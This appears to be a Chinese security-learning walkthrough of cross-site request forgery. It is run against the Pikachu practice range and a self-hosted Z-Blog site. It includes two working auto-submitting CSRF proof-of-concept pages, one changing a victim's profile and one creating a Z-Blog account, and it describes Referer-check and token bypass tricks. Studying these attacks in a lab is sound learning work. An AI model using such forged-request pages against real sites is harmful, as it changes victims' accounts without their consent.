前言
CSRF的基本原理 就是 举例 我们伪造一个支付宝的转账请求(抓包获取的),受害者 : 正好登录着支付宝(后台)的 同时点击了我们伪造的(包含恶意请求)网址 从而导致先我们进行转账
条件: 1、需要伪造的数据包
2、无过滤防护
3、受害者需要触发(诱惑)
演示
条件 :有条件的可以 申请2个服务器 不行就使用同一局域网下的2个电脑(一个搭建CMS 一个搭建攻击网站)
抓包构造 poc
创建一个 add.html 把生成的 poc 复制到里面(记得勾选 自动点击 不然就需要用户自己点击才能 进行跳转)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://121.199.174.104/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="88888888" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="lucy@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
搭建靶场 把恶意的请求放到网站目录
恶意的网站页面
当我们直接进行访问时(需要后台登录过 pikachu 后台 不然没有cookie验证也是进不去的)
点击跳转 发现手机号被修改了 这个就是防护的CSRF的修改 发现这种跨站是非常危险的
CSRF的基本绕过
一般就是网站会设置 获取refer头信息从而来判断是否要拒绝你的访问(获取referer头的方法)
网站是怎么进行waf的 :
<?php
// 定义一个变量,用于存放flag
$flag = 123456;
$refer = $_SERVER['HTTP_REFERER']; // 获取HTTP_REFERER 获取referer头部
echo $refer; // 输出referer头部
if ($refer == "http://xiaodi8.com") { // 判断referer是否为xiaodi8.com
echo $flag; // 输出flag
}else{
echo "非法访问"; // 输出非法访问
}
在网站目录下新建一个 php文件储存上边这个 代码 我们使用 本机去访问
访问发现出现了 非法访问没有出现flag
抓个包 修改refer头 这个时候就可以访问成功了
2个点 : 我们要修改的referer头 是一一对应的 : 解决方法 : 结合文件上传(把恶意代码的html文件上传到网站上) 让受害者主动访问 目标网站
结合 XXS 这个网站上有XXS 我们可以构造一个 重定向的一个payload 然后让其使用他的本地正确的网站进行
我们要修改的是模糊匹配的(有这个地址就行):这个的玩法 就是在你的请求服务器上把这个数据包的伪造请求放到 受害者地址的目录下(这个目录需要手动的创建)
这个也是需要一个条件就是 需要是 受害者点击进行的
实战 利用z-blog
zblog的搭建 直接使用小皮面板放到网站目录下
密码是 Abc123456
抓取请求包
生成 CSRF的poc 我们把这个代码粘贴到 add.html 内
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0" method="POST">
<input type="hidden" name="ID" value="0" />
<input type="hidden" name="Level" value="6" />
<input type="hidden" name="Status" value="0" />
<input type="hidden" name="Name" value="�®¿�®¢" />
<input type="hidden" name="Password" value="Abc123456" />
<input type="hidden" name="PasswordRe" value="Abc123456" />
<input type="hidden" name="Alias" value="" />
<input type="hidden" name="Email" value="1111@qq.com" />
<input type="hidden" name="HomePage" value="" />
<input type="hidden" name="Intro" value="" />
<input type="hidden" name="Template" value="index" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
复制完成之后 记得把burp内的包给丢弃
这个是没进行修改的
我们访问 add.html
发现是非法访问的 我们审查一下 zblog的源代码
http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0
这个是路径 发现是在cmd.php
这边我们 试一下修改 referer 头试试是否可以直接绕过
修改referer头为网站自身的
发现是修改成功的 但是这个名字有点问题
当然除了这些还有个就是无referer的逻辑
1、空 referer: 直接把referer= 后边的值删除
2、置空 : 在我们伪造的请求poc中的开头加入<meta name="referrer" content="no-referrer">
即可利用
逻辑的原理 : 我们看直接查看 zblog的源码
置空的逻辑(如果没有referer 就会返回true)就是 利用的我们退出当前页面之后 如果想再次返回的时候因为浏览器储存这cookie 所以会直接进入 但是这个二次进入是没有来源的就是没有referer
CSRF的token防护
从上边的那个url请求我们可以看出来 这个后边有个csrftoken=xxxxxx的 其实这个token
一般情况是绕过不了的
第二种防护机制 CSRF token防护 : 特点就是 token具有唯一性和随机性 我们每访问一次界面就会有一个token随机(token 是在退出重进为一次单位)
正常的token 我们访问一次就会刷新一次
置空
删除
复用
在CSRF中的作用还是比较有限的是因为 复用的一般是受害者登录的token
口诀 : 发现token 上边三个都没用 准备跑路